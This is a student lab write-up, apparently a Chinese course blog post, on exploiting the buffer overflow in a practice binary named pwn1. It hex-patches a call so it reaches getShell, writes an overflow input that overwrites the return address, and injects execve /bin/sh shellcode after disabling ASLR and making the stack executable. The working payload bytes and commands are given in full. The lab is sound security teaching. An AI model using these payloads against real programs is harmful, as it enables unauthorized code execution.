一、逆向及bof基础实践说明

1. 实践目标

  • 对象:名为pwn1的linux可执行文件
  • 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串
  • 学习目标:该程序同时包含另一个代码片段,getShell,会返回一个可用Shell,而正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode
  • 三个实践内容如下:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode
  • 代表现实情况中的攻击目标的思路:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码

2. 基础知识

  • 需要掌握的内容:
    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|)输入、输出重定向(>)等
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址
    • 会使用gdb,vi

二、直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令 objdump,十六进制编辑工具
  • 学习目标:理解可执行文件与机器指令
  • 进阶:掌握ELF文件格式,掌握动态技术

1. pwn1的下载安装

  • 首先下载pwn1.zip到pc和kali的共享文件夹下,然后在kali的/mnt/hgfs/下的共享文件夹下解压和移动pwn1文件至实验exp1文件下。!

2. 反汇编查看函数地址

  • 命令行输入objdump -d pwn1,我们就能看到:
    • pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞。

  • 图中划线处080484b5中的指令为call 8048491
    • 是说这条指令将调用位于地址8048491处的foo函数;
    • 其对应机器指令为e8 d7 ff ff ff,e8即跳转之意。
      • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 EIP + d7ffffff这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是 8048491这个值。

3. 在vim中修改地址,反汇编查看结果

  • main函数调用foo,对应机器指令为e8 d7 ff ff ff
    • 那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff
  • 首先我们直接使用vim打开pwn1文件后能看到如下乱码:

  • 接下来执行如下操作:

      cp pwn1 pwn2
      vi pwn2
    
  • 以下操作是在vi内

    • 1.按ESC
    • 2.输入以下,将显示模式切换为16进制模式::%!xxd

  • 3.查找要修改的内容:/d7ff!

  • 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
  • 5.修改d7c3
  • 6.转换16进制为原格式::%!xxd -r!

  • 7.存盘退出vi::wq
  • 修改成功后再通过objdump -d pwn2查看是否修改成功
    • 从下图我们可以看到划线代码已经成功修改了,“d7ffffff”已经变成了“c3ffffff”。

4. 运行改后的代码,查看效果

三、通过构造输入参数,造成BOF攻击,改变程序执行流程

  • 知识要求:堆栈结构,返回地址
  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
  • 进阶:掌握ELF文件格式,掌握动态技术

1. 反汇编,了解程序的基本功能

  • NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
  • JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
  • JE:结果为零(或相等)则跳转。对应的机器码为74。
  • JMP:无条件跳转。对应的机器码为对应的eb。
  • CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
    。对应的机器码为83。

2. 确认输入字符串哪几个字符会覆盖到返回地址

  • gdb pwn2调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出!

  • 使用info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

3. 构造输入字符串

  • 于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。!

4. 通过管道符|,将input文件作为pwn1的输入

四、注入Shellcode并执行

1. 准备工作

  • 先利用apt-get install execstack命令安装execstack软件包

  • 修改些设置(我这里使用的是pwn1的副本pwn3)。

      execstack -s pwn3  //设置堆栈可执行
      execstack -q pwn3    //查询文件的堆栈是否可执行X pwn3
      more /proc/sys/kernel/randomize_va_space
      echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
      more /proc/sys/kernel/randomize_va_space
    

2. 构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 跟着老师和一些同学开始的做法跳坑里然后爬不出来(此处略去若干字)

  • 重做,默默绕开坑,尝试结构为:anything+retaddr+nops+shellcode

  • 然后我们使用这段shellcode

      perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    
  • 这样我们就得到了一个input_shellcode

3. 终端注入这段攻击buf并调试进程

  • 终端注入这段攻击buf

      (cat input_shellcode;cat) | ./pwn3
    
  • 再开另外一个终端,用gdb来调试pwn3这个进程(我这里使用的是pwn1的副本pwn3)。

      ps -ef | grep pwn3
    

  • 启动gdb调试pwn3这个进程,先后输入attach 4523disassemble foo指令

  • 找到ret后在0x080484ae处设置断点。在终端a中回车,程序会执行到断点处,再在b终端输入c在断点处继续运行,然后输入:

      info r esp
    
  • 得到esp的地址0xffffd6ec

  • 以16进制形式查看0xffffd6ec地址后面16字节的内容是在最开始构造的input_shellcode里的内容

      x/16x 0xffffd6ec
    
  • 所以将shellcode注入地址是0xffffd6f0
    0xffffd6ec+4=0xffffd6f0

4. 重新构造攻击buf:

  • shellcode之前的4321改成d6f0的地址:

      perl -e 'print "A" x 32;print "\xf0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    
  • 再次输入:(cat input_shellcode;cat) | ./pwn3回车之后就可以执行命令了:

五、实验总结

1. 实验收获与感想

这次实验的内容是缓冲区溢出攻击,前两部分是通过直接修改机器指令、构造输入参数来改变程序正常的执行流程,第三部分是通过注入Shellcode并执行来进行攻击。在本次实验之前,我初步学习了Linux的基本操作指令和汇编、机器指令,但没有深入的了解。做完本次实验,我不仅对堆栈的结构和操作有了很多认识,还能够更加熟练地运用管道(|)输入、输出重定向(>)等Linux指令和gdbvi这两个常用工具,得到了成长。虽然我还是只能跟着老师和同学们的步伐来学习,但还是收获颇丰。

2. 什么是漏洞?漏洞有什么危害?

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
  • 漏洞被利用可能造成信息丢失,硬件或软件受损,程序无法正常运行等危害,造成硬件与软件受损从而产生经济损失,影响人们正常的生活、生产、学习、工作。

六、参考资料

posted on 2020-03-18 15:37  20175321wdc  阅读(184)  评论(0编辑  收藏  举报